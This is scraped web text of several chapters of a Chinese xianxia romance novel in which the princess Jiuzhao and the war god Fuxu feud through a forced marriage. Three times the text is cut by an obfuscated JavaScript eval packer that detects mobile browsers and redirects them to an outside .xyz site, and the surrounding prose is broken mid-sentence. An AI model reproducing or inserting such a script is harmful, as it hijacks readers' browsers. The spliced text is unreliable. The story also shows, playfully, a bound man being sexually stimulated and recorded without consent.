;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918051|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你。” 感受着两道目光,九昭低声说道。 朱映轻轻回应:“臣明白,殿下一向偏袒自己人,这次是臣的错,错在没听殿下的话。” 九昭被哄好得很快,皱起小巧鼻尖,撇了撇嘴:“你明白就好,下次不许这样。” “嗯!” 朱映用力点头。 彼此又静默少顷,九昭的手指抚上他胸口被鞭出的伤痕,缓缓道:“接下来的日子,你好好休息,不用着急侍奉,待伤好全了再回到本殿身边……以后,我不会再打你了。” 他们共享着平等而温情的时刻。 最后那句保证,九昭用“我”代替“本殿”,更像是朋友之间的许诺。 朱映的心脏和眉峰一起动了动。 他意识到这种时候,更应该说些什么来回馈九昭的亲近。 只是九昭挂在绦带上的传音玉牌突然闪烁起来。 紧接着,绛玉急促的话音从玉牌中传出:“殿下殿下不好了!扶胥上神不听奴婢们的劝告,一醒就要返回辟蒙宫,他动用了神力,腹部的伤口又开始流血了,您快来侧殿劝劝上神吧!” “……不省心的东西。” 九昭斥骂一句,眉毛紧紧拢在一处。 药才涂了一半,她不得不走。 朱映也不阻拦,施术清洁干净她的双手,最后着意添上一句:“受伤之人时常需要忍受痛苦,心绪波动较大也是事出有因,殿下是三清天的储君,宽和大度,自然不会跟扶胥上神计较。” 耳畔滑入恳切言辞,九昭看着朱映,别扭道:“本殿知晓。” …… 九昭匆匆赶到侧殿,扶胥被迫靠坐在床上,刚站起身,又被女婢医官合力按下。 “上神,在腹部伤口转好前,您可万万不能再动用神力啊!” “不用神力,那本神用脚走回辟蒙宫中总可以。” “您的内伤这般严重,应以静修为上,大幅度的行走站立都不行啊上神——” “本神的伤势本神心里清楚,就算真出了什么意外,也怪不到你的头上。” “上神——” 九昭看到扶胥固执己见的模样就心烦,心烦之下,她自掌中凝出打神鞭。 附着在长鞭周围的仙光刺痛殿内所有人的眼,扶胥仍依靠床头没做出反应,那正在规劝扶胥的医官们,瞬间哗啦啦跪了满地:“殿下,可不能再鞭打上神了,他真的承受不住!” “让开,聒噪什么?常曦殿几时轮到你们做主了?” 九昭柳眉一挑,将挣扎着过来要抱住她小腿的医院一脚踢开。 被层层人墙拦着,她不便靠近扶胥,于是侧转手腕,将打神鞭用力掷了过去。 “不——” 要不要挡在上神面前? 难道今天就要因公殉职了吗? 长鞭化成一道光束,越来越近的刹那,医官们的脑海统一浮现出这两个致命问题。 没等他们做出决定,目标距离将至,那凌厉的鞭风又倏忽柔和起来。 唰唰唰! 长鞭围绕扶胥病弱的身躯转了三圈,将他和床靠结结实实捆绑在一起。 为了防止他施术反抗,干脆手臂也紧紧束起。 像是尖叫的公鸡被掐住脖子,殿内登时鸦雀无声。 哀求还梗塞在喉咙中,医官们各自瞪圆或大或小的眼睛。 ……殿下这、这又是什么操作? 8. 第8章 就算不是趁他病弱要出气,这副绑犯人一样的架势,也足够羞辱扶胥。 他的双手紧紧攥成拳头,手背青筋直迸:“九昭神姬,你未免太过恶劣——” “恶劣吗? “本殿恶劣,你又不是第一天才知晓。” 九昭捻动指尖,让打神鞭化作的绳索捆绑得更牢固些,单手叉腰冲他弯起唇角,“你不是叫本殿不要多管闲事?本殿偏要管,今天管,明天管,天天管,管到本殿满意为止,气死你!” 扶胥被她幼稚的行径无语到了,再次催动神力想走,预判了他的预判的九昭掠身到他面前,从衣襟中摸出一张带有体温的浅金色符纸,啪地用力贴上他的额头。 触及肌肤,符纸发挥作用,转眼隐进骨血中去。 她弯腰凑近扶胥,唇畔得逞的笑意似有若无,在他耳边气声说道:“这是本殿过去在北境游玩时从北境王手里得到的宝贝,它能够封印上神以下的神仙三个月仙力——你现在受了伤,神境跌落,力量跟最高阶的天仙无异,自然也抵挡不了这张符纸的作用。” 在私库寻找仙植时,九昭早就想好对付扶胥的办法。 眼下一切发展顺利,望着青年如同火山爆发般的瞳仁,她舒爽之余,连忙快步退后几丈,以免气到快要爆炸的扶胥一张嘴,从自己的身上咬下一块肉。 只是舒爽没多久,扶胥即将碎裂的表情突然平静下来。 他就着屈辱的姿势抬起面孔,沉沉吩咐:“我与殿下有话要说,你们先出去。” 九昭挑衅扶胥兀自痛快,却并非谁都有胆量留在现场旁观好戏。 侧殿角落里,充当鹌鹑的医官女婢如释重负地舒了口气。 行礼之后,便如退潮的海浪般悉数后撤,还不忘带上大门。 只剩他们两人,想明白九昭想做什么的扶胥,眼中怒意已然消失无迹。 他直视九昭俯落的双眼,慢条斯理道:“白日臣神志混沌,不受控制冒犯了殿下,此刻房内无人,殿下要打要罚,悉听尊便。” “你以为本殿将你绑起来又封了神力,就是为了打你?” 九昭半挑的唇角保持原样,只是表情逐渐变得皮笑肉不笑。 扶胥:“虽然白日里臣受伤醒不过来,但也感应到了殿下对朱映仙官所做的一切。” 若非朱映拼着一身伤也要阻拦,恐怕他早就被九昭连着铺盖一起丢出了离恨天。 他说的是事实,九昭一时语塞,只能嘴硬:“这是本殿宫里的事,用不着你来过问!” 扶胥握拳的手又是一紧。 这次下意识抓住了身下的衾单。 他凝着嗓音承认:“是,臣是外人,自然无资格过问,还请殿下放臣离开常曦殿。” 开口请求的青年虽未昂着头颅,但从始至终未曾软下的脊梁传递着他内里真实的情绪。 傲骨、气节、风仪…… 这些都是那些爱慕扶胥的女仙们经常谈及的词汇。 只是青年越是这般姿态,就越是有一股别扭感涌上九昭的心头。 仿佛是她别扭,又仿佛是扶胥别扭,总之他们单独相处,从没有把话好好说开的时候。 话说回来,她为君,他为臣,自顾哪有君上会对臣下低头? 九昭抱起手臂,眼睛居高临下乜了过去:“你奉命来给本殿送礼服,不就证明你决心顺从父神的旨意,起码在面子上表现出夫妻相敬如宾?你如今是个人都能看出来受了重伤,还非要拖着残躯回到辟蒙宫,那前面所做的功夫就全部白费了,传出去,大家还是知道你与本殿不和。” “来日,不只是西海,北境、南陵还有东原,依旧会把我们的关系当成背后取笑的谈资!” 九昭难得没有强调自己的感受,而是从事实出发,有理有据的指责说得扶胥一顿。 在他沉默的间隙里,九昭再接再厉:“还有,不管你同不同意,以后每七日一次,本殿都会来跟你合修。父神说了,只要顺利炼化你体内的真血之气,本殿的仙力就能够突飞猛进—— “所以,本殿与你合修,是为了自己!” 最后一句话,像是为了说服谁,九昭拔高声调,呲着牙喊了出来。 扶胥难堪地别过眼睛:“……低声些,合修这么隐秘的事,殿下想让全三清天都听见吗?” 回过神来,九昭也有点不好意思。 但她看着扶胥耳廓沁出的一点粉意,又被取悦得弯起眼睛:“怎么,堂堂战神也会害羞?” 扶胥:“……” …… 若是九昭无理取闹,扶胥绝不会顺从。 要命的是,她突然学会了占据道德高地,讲大道理。 一顶帽子扣下去,时刻谨记忠君护主的扶胥只好暂时住下。 要在离恨天暂居,他的生活用物就需从辟蒙宫中搬过来。 这件小事原不用九昭操心,奈何她天生是个闲不住的性子。 将缃璧留在侧殿照应,她带着绛玉和七八个仙侍起驾。 辟蒙宫位于二清天的中部,而九昭居住的离恨天,是神帝耗费神力特地为她开辟的一处境阙,在三清天的下方,却高于建造了五位上神和四位神王宫殿的二清天,以示九昭的女君身份。 为了将两人重修旧好的戏码演到极致,九昭特地选择最华美的天辇出行,车轮上缀着恢弘的七色仙光,天辇后有流云彩霞一路映照,在三清天的湛蓝苍穹中,划过一道无比绮丽的长痕。 抵达辟蒙宫时,九昭确信该看见的人都看见了。 她提着裙摆款步走出天辇,站在辟蒙宫华光流转的结界口。 璇玑宫的宴会结束,跟随扶胥一路南征北战的统领仙官修余提前返回二清天。 辟蒙宫久未有人生活,他兴冲冲地领着一众军士将其里里外外打扫了个遍。 然后就是漫长的等候,从天亮到天黑,也不见扶胥归来。 此刻结界的禁制被触动,修余才转忧为喜。 他一路小跑着来到宫门口,尚未抬眼就欣喜地喊出一句:“扶胥上神,您终于回来了!” “不是扶胥,是本殿。” 契阔诀的力量激发,九昭抬手散去结界,对听见声音僵住的修余徐徐露出笑容。 “神姬殿、殿下,臣不知殿下大驾光临,实在有失远迎。” 僵硬不过刹那,修余立刻作揖行礼。 “无妨。” 九昭扶了扶鬓角,也不客套,如同行走在自家后花园一般擦着修余的肩膀过去,抬头打量简朴宫庭,“好久不来,本殿有些忘了哪座宫殿才是扶胥的住所,修余仙官,你在前面带路吧?” 肩膀先是被九昭轻撞,又是被她身后带领的侍众来回挨挤,修余顿觉来者不善,迟疑着回禀道:“神姬殿下是来找我家上神的吗,他还没有回来……” “他当然没有回来,因为以后都要和本殿住在一起。”九昭笑着回头,清凌的目光望向修余,丝毫没有意识到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来这件事,也被众仙视作兰祁早有反心的铁证。 无论情面还是大义,三清天的储君提出此番质疑,辟蒙宫总要给个不让进去的说法。 修余暗自叫苦,正绞尽脑汁想借口,九昭却是嘴角下撇,不耐烦起来。 绛玉见状,覆耳悄声:“殿下,这里到底是辟蒙宫,没得到扶胥上神的吩咐,作为统领仙官,修余无权代为打开自家上神的殿门,以奴婢看,不如咱们传声给上神,由他开口更好。” 她的话,九昭如何想不到。 扶胥虽已闭口不做反抗,但谁又知道他愿不愿意时刻配合九昭。 不想在辟蒙宫闹出风波,九昭最终决定采用迂回手段,催动腰上的玉牌传话给扶胥。 不多时,玉牌亮起,映出扶胥英挺的面孔。 他隐去周围环境以及自己肩膀以下的部分,看起来除了脸色些许苍白,其他一切正常。 “上神!” 修余上前一步,神色激动,那望着扶胥的模样,活像看到了被土匪绑走的民女,“您在哪里?臣已将辟蒙宫打扫干净,只等您归来!” 想起九昭还在虎视眈眈地盯着,顿了顿,他又补充道, “……还是如神姬殿下所言,您要住到常曦殿去?” “不必多问,一切遵照神姬殿下的吩咐。” 话说到这里,九昭已经算是很满意。 只消扶胥配合就好,也没指望他能够在外人面前,与自己扮出鹣鲽情深。 她正想将传音玉牌收起,忽见那半空浮现的青年冷白喉结上下一滚,长睫垂敛盖住传递心事的眸光,板起俊面训斥修余道,“下次这种事,不要麻烦殿下再转问本神——殿下是三清天的储君,是本神的结发妻子,更是辟蒙宫的另一位主人,你们需尊重她,一如尊重本神。” 9. 第9章 训斥完修余不够,扶胥又将他以不敬之罪罚去受鞭刑,再丢入军中/操/练一个月。 其实被修余阻拦,九昭还没到动怒的地步。 三清天本就上神稀少,四神王虽说都占据了“神王”的尊号,但实际上唯有北境崇黎王和南陵琼英王的力量高于仙阶,所以更显得通过天道认可,晋升神位的五位上神身份尊崇。 除了扶胥作为战神活跃军营,五神中另外四位,一位云游四方,不见踪影,一位闭关万年,谢绝见人,还有两位坐镇三清天,协助神帝处理大小事务。 他们威名在外,为三清天贡献巨大,哪怕九昭作为储君也得以礼相待。 种种约定俗成的规矩堆积下来,修余阻拦九昭进入寝殿,只要没有言辞冒犯,就不算有错。 扶胥要想偏帮自己的心腹,亦有大把理由可以使用。 他没有这样做,反而秉公处理。 都说扶胥治军严明,从不会为亲疏之别而徇私枉法。 在这件事上,九昭见识到了。 然而不知为何,她一边告诉自己,扶胥这样做并非为了她,乃是天生性格使然,一边回想他主动说起的“九昭神姬乃本神结发妻子,辟蒙宫的另一位主人”,心中隔阂忍不住消散几分。 …… 随着扶胥在离恨天住下,九昭寻了处空置的殿宇给他做议事场所。 他神力被封,也不知用了什么办法,闭门修整三日,再见和当初快死的模样判若两人。 扶胥出关,各路神仙闻风前来拜访。 有些为着军中的日常事务,有些则是纯粹的慰问。 但凡不涉及公事,九昭必拉着扶胥在正殿宣见他们,而且还一定要并肩坐在主位上。 这是九昭最近沉迷的新把戏,源于上次大声提到合修,扶胥耳廓悄然泛红的启发。 只要并肩坐于一处,她便会时不时逗弄青年两下。 比如冷不丁拉住他的手,比如旁若无人与他亲密耳语,比如故意柔声唤他“阿胥”。 扶胥从起先的彻底僵硬,到后来的镇定自若,唯独耳垂红意一次又一次出卖他的内心。 在某回宾客面前九昭变本加厉将脸靠上他的肩头后,他命人将九昭迎进侧殿,面容沉肃地“恳请”九昭下次切勿在外人面前同自己表现得过分亲密,这不合规矩,也不合两人身份。 九昭却反问:“身份,什么身份? “本殿为妻,你为夫,恩爱情好不是理所当然?” 扶胥:“……” 他忍。 难得在两人较劲中占据上风,九昭越发乐此不疲。 到了第七日,约定的合修之日,离恨天又迎来了西海王派遣的使者。 以宗姬滢罗为首,身后两列排开八位女婢,手上大大小小的礼物堆满整张桌子。 九昭定睛一看。 千年夜明珠、万年蛟龙骨、手持此物,凡人入海也能畅快呼吸的润霖胆。 其中还有一件正符合九昭身材尺寸的鲛衣。 似将月光的柔弧和世上最清澈的水流织入其中,明月烟波,芳泽呈露。 见九昭盯着那件鲛衣目不转睛,滢罗站起,亲手将其自锦盒中捧出献到她的眼前:“殿下,鲛衣是我西海的至宝,需鲛人以自身鳞片磨粉,再施以仙力入线,废寝忘食,整日织造,万年方得一件,它穿在身上不仅如同流波摇曳,赏心悦目,更刀枪不入,水火不惧,是防御的珍宝。” 九昭当然听说过西海鲛衣的传闻——且滢罗没说,她也知道的是,越是仙力高超的鲛人,制作出来的鲛衣防御效果越强,衣料看起来也越发美丽。 这件鲛衣能织成,献出鳞片的鲛人,少说也有金仙及以上的实力。 西海献此至宝讨好自己,究竟是为了什么? 九昭的妙目从鲛衣转到滢罗身上,神色透出几分怀疑。 滢罗却没让她的思维更加发散,将鲛衣转交旁边的绛玉后,她领着女婢们盈盈拜倒,诚心实意说道:“先前西海浣魄仙子冒犯殿下,回族的这段日子,滢罗终究难以心安,所以趁着这次前来离恨天慰问扶胥上神的机会,滢罗想代替浣魄与其他西海女仙,再次向殿下告罪。 “同时,也借以薄礼,聊表心意,万望殿下能够宽恕臣等。” 九昭虽然记仇小气,但三清天说过她坏话的不计其数,抓到的,当面惩罚也就算了,没抓到的,全当它是一缕最单薄的风散了。浣魄的事她早就抛在脑后,偏偏滢罗又不厌其烦地提起。 介于她和扶胥过去差点成为夫妻,且西海流戈王这四千五百年来一直没有放弃的,明里暗里的试探,九昭将滢罗的告罪定义为想要在扶胥面前,落实她是个心胸狭隘的神姬的恶名。 都是千年的狐狸,在这里玩什么聊斋。 九昭嘴角微抽,忽然起了戏瘾。 她反手抓住扶胥散落在自己身畔的玄黑衣袖,一拉一拽,迫使神力被锁的扶胥朝这边坐过来的同时,将手穿进他的臂弯间,两人的身形顿时亲密无间依偎在一起。 她转头扫过扶胥隐含警告的冰凉视线,心里大声嘲讽:没定力的死木头,往日面对其他神仙还能装得老神在在,结果旧情人一来,那平时动也不动的屁/股上就好像着了火! 不过想归想,做归做,她的唇角勾起最矫揉造作的笑容,抬手命她们免礼:“诶呀,一点小事,本殿早就不记得浣魄这号人物了——滢罗你也真是的,本殿又没真的怪罪西海什么,你专程跑到本殿宫里,又是下跪,又是告罪的,仿佛本殿心胸狭隘,有多么不能容人似的。” 说着,她又借着两人身形的阻挡,用力拽紧扶胥的衣袖,“小鸟依人”地靠上他肩头,“幸好上回的场景阿胥也看见了,否则从你口中说出来,真是没事也要严重三分。” “不是的,殿下,臣没有这个意思。” 滢罗连忙再次叩首表明真心,“臣是真的认为浣魄她们做错了,殿下贵为储君,臣等唯有尊您、敬您、爱您,哪里胡乱在背后议论的道理,上次就算殿下未曾亲临,臣也定会训斥她们!” “好了好了。” 虽然“尊您、敬您”后面加了个“爱您”听起来奇奇怪怪的,但九昭也没有心思再继续跟她虚与委蛇下去,她惦记着午膳后还要跟扶胥合修的要紧事,敷衍地点点头,“你的心意本殿都知晓了,你可还有其他的事要禀告?没有的话,午膳时辰将至,本殿也不耽误你回西海了。” 谁料,得到九昭的原谅,滢罗抬起头,那双静澜似的目光倏忽变得晶亮,一瞬不瞬 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没被一口拒绝就是胜利。 无视九昭满脸的不情愿,滢罗欢喜起来,仰视她片刻,又侧转目光,将隐晦眼神投向扶胥: “那殿下,上神,滢罗先行告退。” …… 送走滢罗,九昭交代把西海送来的这些礼物都封进私库,免得里面掺杂了窥探的东西。 轮到那件鲛衣时,九昭多了几分犹豫。 她就是喜欢花里胡哨的衣服,越夺目越好,显然滢罗送到了她的心里去。 纠结再三,她命人将其放在寝宫的衣柜中。 处理完手头的事,九昭来到侧殿。 扶胥已将侍奉的人都遣了下去,他独自一人落坐窗边的长案,看公文呈报看得专注。 九昭觉得他爱装的老毛病犯了,不客气地说:“合修你不在床上等本殿,坐在那干什么?” 她大大咧咧,毫无女君仪态的用词再一次刺痛扶胥,差点把手上轻薄的纸张捏皱。 他缄默再三,将纸上的最后一段内容读完,却并不顺从九昭的命令走至床前,而是淡声问询道:“听滢罗宗姬提起仙阶考试日子将近,殿下有何感想?” 山不过来,我就去山。 九昭负手来到他的长案前,挑起眉毛:“需要本殿有什么感想?” “那晋升地仙和金仙的考试还好,不过五百一千年开启一回,而晋升最高等天仙的考试,三千年方才开启一回,从前为兰祁的背叛伤心,殿下已经错过一回,这回,也不准备准备吗?” 三清天明煦的光线顺着支起的窗棂散入殿内,将扶胥英俊的面容切割成明暗两处。 九昭起先注视着他静亮的双眸,却在他骤然提到兰祁时,迅速垂落视线,投进阴影之中。 “注定成功不了的事也要准备吗?” 她听见自己的嘴唇一张一合,说着认命的话。 却道不明,认命的究竟是眼前事,还是—— “每回考试,只有第一名才能晋升最上等的天仙。 “本殿自知仙力不如滢罗,经验也没她丰富,非要报名参加,岂非自取其辱?” 10. 第10章 三清天的阶位共分五等,仙阶有四,自低到高为散仙、地仙、金仙、天仙。 第二等天仙往上,便是第一等的上神。 神与仙之间,只差一字。 然而仙阶乃人为划分,只要通过仙阶考试,就能成功晋升。 成为上神,却要历经天道的磨砺,捱过九十九道天雷问身,涉过三十三重幻境问心,唯有力量拔萃、神志坚定者,方能跳脱于无常轮回之外,成就神位,寿与天齐。 整个过程里,但凡有一样考验失败,无论仙力多么高深,都会刹那间灰飞烟灭,归于虚无。 这也是九昭对于成为神帝没太大兴趣的原因。 如果握住无上权力,要以生命作为赌注,那她不做神帝,甚至不做神姬都可以。 当个不大不小的金仙,从一清天分属四王的辖地中,随便挑选一处山清水秀之所,宁静随心,安稳度日,待到寿终正寝,仙魂散尽化作滋润三清天的灵力,似乎是个不错的选择。 这些没出息的话九昭从未对人提起过。 哪怕是神帝,她也只敢说三清天的未来能不能由王夫统御,自己会在旁与其共治。 …… 扶胥并不清楚九昭内心的真正想法,但并不妨碍他将其通通视为强词夺理。 他起身将支起的雕花窗棂放下,阻断无孔不入的日光,平声道:“滢罗宗姬年长殿下几千岁,天仙的仙阶考试已参加过两回,前头两次,难道她不知晓自身力量不足,无法取得第一吗?殿下所说的实力经验,都需要经历一次又一次的失败才能提升。 “人不能总是靠面子活着。” “本殿说不去就是不去! “人活一回,若是面子里子都丢了,那还不如死了算了!” 九昭仍在为先前扶胥警告的眼神耿耿于怀,她隔着长案立在扶胥身前,努力抻长脖颈,像只炸毛小斗鸡似地瞪着他,“三千年尽管漫长,但对于神仙而言也算不了什么,三清天有那么多的试炼地可以供本殿积累经验、增长修为,你非要撺掇着本殿去参加仙阶考试,究竟意欲为何?” 不待扶胥回答,她装作恍然大悟,猛地拍了下手掌,“噢——本殿明白了,你是知道滢罗这次去必定能够夺得魁首,有本殿的陪衬,更能增添她晋升天仙的荣光—— “扶胥,你这算盘打得好啊,平时一声不吭的,为心上人谋算起来脑子倒是十分灵光。” 扶胥的眉心顿时出现一道褶痕:“这都什么跟什么?” 饶是清楚九昭最擅长的就是狗咬吕洞宾,他也禁不住感到气闷,“身为储君就要担负责任,智谋和实力缺一不能服众,不能服众则有天廷倾覆的风波,神姬殿下连这些都不懂吗? “况且,为着一个男人伤心吐血已然有损名声,莫非殿下还要为此继续消沉千年万年?” 扎心窝子的话最难听,九昭跺了跺脚,急道:“你还好意思倒打一耙!本殿与兰祁已经是四千五百年前的事,今日你这般揪着不放是想怎样?难道不是你已经成为本殿的王夫,还时常记挂滢罗,她一来常曦殿就同她眉来眼去更罪大恶极吗?!” “臣根本没喜欢过——” 扶胥解释的话堪堪说到一半,被什么也听不进去的九昭疾言打断:“如此钟情,如此两心相许,你早干嘛去了?可见你当初答应父神的婚旨,不过是贪图本殿的储君身份! “也对,做未来西海之主的丈夫,何及做未来三清天之主的丈夫来得风光权盛!” 兀自絮絮间,九昭玉白的肌肤覆上一层薄怒,伴随她急促清脆的语调,怒意变作实质的浅红漫上两颊,让她就算是咄咄逼人,也透着恣意鲜活的艳丽。 她没发觉扶胥不说话了,目光停留在她面孔的时间也无端拉长,只是忿忿想着: 西海鲛人仙族除了美貌和善于逢迎之外,还有哪里好了? 性格狡诈,生来嗜血,人间芸生世的各个海域还栖息着他们许多未曾飞升的同族,喜欢以动人的歌声引诱来往的船只,待到他们放弃抵抗,再一边虐/杀一边拖入海底分食。 虽然升入三清天后,鲛人仙族和他们的同族有了根本的变化,不再以血肉为食,却保留了个一言难尽的特性,那就是每过三千年都可以自行选择一次性别。 三清天不禁婚嫁,甚至纳妃娶妾,只要你情我愿也可以。 滢罗的父亲流戈王仗着容色出众,更将这个特性发挥到极致,三千年化作男人,三千年变成女人,王妃小妾无数,还要豢养男宠,凭借一己之力给西海创造艳闻无数。 流戈王风流好色在前,滢罗宗姬心机深沉在后,只叫九昭觉得整个鲛人族都淫/荡/不堪。 她腹诽着扶胥的口味,厌烦了再跟他唇枪舌剑,干脆将他用仙力一捆带上床榻。 合修多半为爱。 他们这种,不如称之为合恨。 “本殿答应了父神,赶紧将你治好,然后昭告三清天,我们合离。 “届时你想再找滢罗还是罗滢,全都随你,记得办婚事的时候叫上本殿喝酒就行。” 九昭像摆弄灵活的玩偶一样,将扶胥摆成盘腿打坐的样子,她唯恐争吵下去等下合修走火入魔,便一抬指封住扶胥的口舌,看着扶胥目含薄嗔,唔声断续的样子,她伸手拍了拍他英俊的面孔,语气轻佻地说道:“好阿胥,劝你少费力气,否则等下受苦的还是你。” 说着,她催动隐在扶胥额头的符咒,让他恢复一小部分力量,便于合修时仙力运行。 赤色的流光结界形成,大约同样想到了再不平复心绪会有受伤的嫌疑,扶胥也变得安静。 魂灵交融,气息合着。 一回生二回熟,这次九昭修复扶胥的伤势比上次顺利了些,正如神帝所言,她长久不动用的凤凰真血之力,也从最开始的滞涩生疏,逐渐变得仿佛小溪般畅流无阻。 扶胥苍白的面孔微微恢复了些血色。 只是修着修着,血色加重,那异样的情火再度卷土重来。 九昭的感知远比神力被封印的扶胥来得敏锐,耳畔衣料的窸窣,小腿酥软的攀升,令她立刻无声睁开了眼——这回,她早就做足了准备。 分出一小缕仙气钻入胸前的长乐命牌中,母神留下的残力很快发挥作用。 清凉的神息同九昭的意志融合,消弭着叫人脸红心跳的热。 渴望肌肤相贴的欲念驱逐出她的脑海,九昭却坏心眼地阻断了神息的蔓延。 她要扶胥继续陷落情热的烈火之中,看看他的渴求到达顶点时,嘴里会唤出谁的名字。 被束缚着无法将人压倒,寻找能够带来水源的嘴唇,不过半刻,扶胥的瞳孔又涣散开来,自额头滑落的滴滴汗水流进衣领,将胸膛的前襟染成半透明的光景。 洇湿上半截后,它们还在滑落。 锻炼得当的胸腹在布料下难耐地收缩起伏。 缠了白布的伤处,更提醒着九昭的眼睛,要凝在那处,欣赏禁欲者难得的放浪风景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918054|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚烫舌尖自半启的唇缝探出,宛如即将渴死的游人拼命汲取空气里的水汽。 每当扶胥想要朝自己探出手掌,九昭就利用符咒抽干他的全部力量,待到双手维持不住动作无力垂落,她又突然解封,让力量再度暴涨回扶胥的精壮躯体。 反复几次,扶胥的表情开始错乱无序,往日的端持、得体、深严彻底消散。 九昭严重怀疑,就算此刻她引导着他喊自己妻主、母亲、姐姐……他都会直接脱口而出。 想了想,九昭打个响指,一个有记录作用的留影球在他俩身边出现。 半透明、水滴状的小球靠近扶胥,从他烧红的俊面开始,到形状明显的腰腹,再到更下方。 全都一一刻入其中。 …… 许久之后,随着手臂肌肉的一阵收缩,男人的低喘声在九昭耳边响起。 后面越来越露骨,九昭也闭上眼没有再大胆欣赏,只用凭借着动作逗弄着扶胥。 神木落地生根,苍翠的枝梢跟从风的抚弄轻轻颤抖。 颤抖的幅度逐渐加大,成熟满溢的粘稠种实亦从枝桠间喷溅而出。 在扶胥仍沉浸在余韵里,尚未回过神来的间隙,九昭适时催动命牌压下了他的情火。 于是,全然清醒的扶胥见到的,便是—— “喜欢留影球里的自己吗?” 九昭折起姝丽的眼尾,声调如蕴着水波般晃晃悠悠地问着。 扶胥不知该将目光投向何处。他望着九昭兴奋到发红的脸容,衣摆下的湿润迫使他窘迫地试图找个床隙钻进去。可九昭的视线可以阻挡,录影球里另一个“扶胥”闹出的动静却无从消除。 那是他吗? 还是一个沉溺于放肆之中的妖魔? “怎么不说话?” 从被冒犯者变成冒犯者,九昭的心境截然相反。 她的手掌仍旧蠢蠢欲动,却并非想要高高抬起,再给扶胥一个巴掌。 她想把扶胥的衣袍下摆撩起来,想让鸵鸟一般自欺欺人的青年,直面真正的自己。 “啧啧。 “平日教导本殿一言一行要合规矩,不成想,扶胥上神才是那个最不守规矩的人。 “这些年,待在神魔边界,想是苦了你。” 九昭一字一句说得很慢,每个字都变成一块沉石,压在扶胥心口,他快要喘不过气。 他蜷起手指和脚趾,试图与忍不住发颤的身体抗衡。 半晌。 他短促地呼出口气:“还请殿下将臣额头的符咒解开,臣应承过殿下暂住常曦殿,就不会临时变卦……以及下次再出现这种情况,臣会自伤维持理智,绝不会再出现这等以下犯上之举。” “自伤。” 九昭咀嚼两字,扫了眼已近透明的某处,“按照此等情形,怕是上神得将自己捅成窟窿。” “……” 扶胥想,他不应该再饶舌下去。 动身离开,让彼此冷静下来才是最好的办法。 他试图抬腿下床,九昭却抢先一步占住床沿。 九昭顺势侧头,饱满唇珠凑近扶胥炽热耳廓,差一点就要吻上:“其实,也并非本殿不愿意将符咒解除,只是这符咒有个特性,必须中咒者真心实意念出施咒时的咒语,方才能够脱落。 “怎么办? “本殿当时也想不出来有趣的咒语。 “便用了一句‘九昭九昭我爱你’。” 11. 第11章 九昭神清气爽地离开侧殿,命人备水沐浴,洗去一身合修残迹。 后续无事,她干脆前去看望朱映。 南陵作为亲木神仙的聚集地,素以医术灵药出名。用了琼英王亲自炼成的伤药,朱映身上的伤好了不少。九昭同他坐在屋里喝茶,随意慰问几句,又话锋一转,询问起仙阶考试的事情。 作为离恨天的统领仙官,想要侍奉好没什么心机城府的主子,朱映往往更需替她费神留意外界的风向——这也养成了九昭遇到不清楚的人事,就唤他过来查问的习惯。 “你可知晓这次参加仙阶考试的金仙都有谁?” 九昭一想起扶胥那副提到滢罗满脸肯定的模样就不爽。 她还不信了,难道这一届的天仙名额已经是滢罗的囊中之物? 参加的考生数量众多,仔细查探,总有几个实力不错能与之一较高下的竞争者。等到下回扶胥旧事重提,她就拿着这些人名好好阴阳一番他自诩公正,结果还不是见到滢罗屁股就歪半边。 然而这个问题出口,朱映的神色顿时透出几分无言。 他仿佛在组织语言,停顿足足三转呼吸,才温声细语:“殿下长久未曾参加考试有所不知——当然,这事也怪臣没有及时告知殿下,自从上届考试有罪仙试图投机取巧,给最有望晋升天仙的同袍下药,害他腹泻三日错失考试良机之后,帝座就下令,开考前一日才会公布考生名单。 “所以,还请殿下恕罪,此事臣也无从得知。” 一边告罪,朱映一边有些奇怪九昭为何会关心起仙阶考试。 要知道过去他但凡提起这四个字,九昭就会捂住耳朵说烦死了叫他赶紧出去。 莫非,殿下成年了,人也懂事了,自己知晓上进了…… 朱映越想越欣慰,正打算鼓励九昭决定好了就赶紧报名,免得日期截止又等三千年。 却听见她摸着下颌,陷入思考,而后灵光一闪抚手笑道:“有了!想知道考生有谁哪里需要你打听,且去看看二清天的神王宫邸中住了何人最一目了然! “哼,扶胥不是支持滢罗吗?本殿偏要支持别人,来看看到底谁输谁赢!” 感动的情绪发散到一半,瞬间枯萎。 满脸复杂的朱映:“……” …… 放任九昭一个人出门,可能会导致什么下场,朱映很明白。 见难以劝阻,他便自请陪同九昭造访二清天。 神仙的术法,对于同阶及以下才能生效,在神王府邸这种周围设有上神结界的地方,九昭的仙力就不够看了,何况光明正大从神王府邸大门进入难免无趣。 于是,九昭挑挑拣拣,从私库中找出昔年神帝赐给她的法宝神隐衣。 神隐衣只消披在身上,就能隐去踪迹,非神帝亲至无法察觉。 九昭伪装完自己,大剌剌伸手过去牵住朱映。 指尖触及温热皮肤,朱映瑟缩一瞬,条件反射侧头看她:“殿下,这不合规矩——” “不身体相触,神隐衣就无法对你生效,那此行本殿还怎么带上你?” 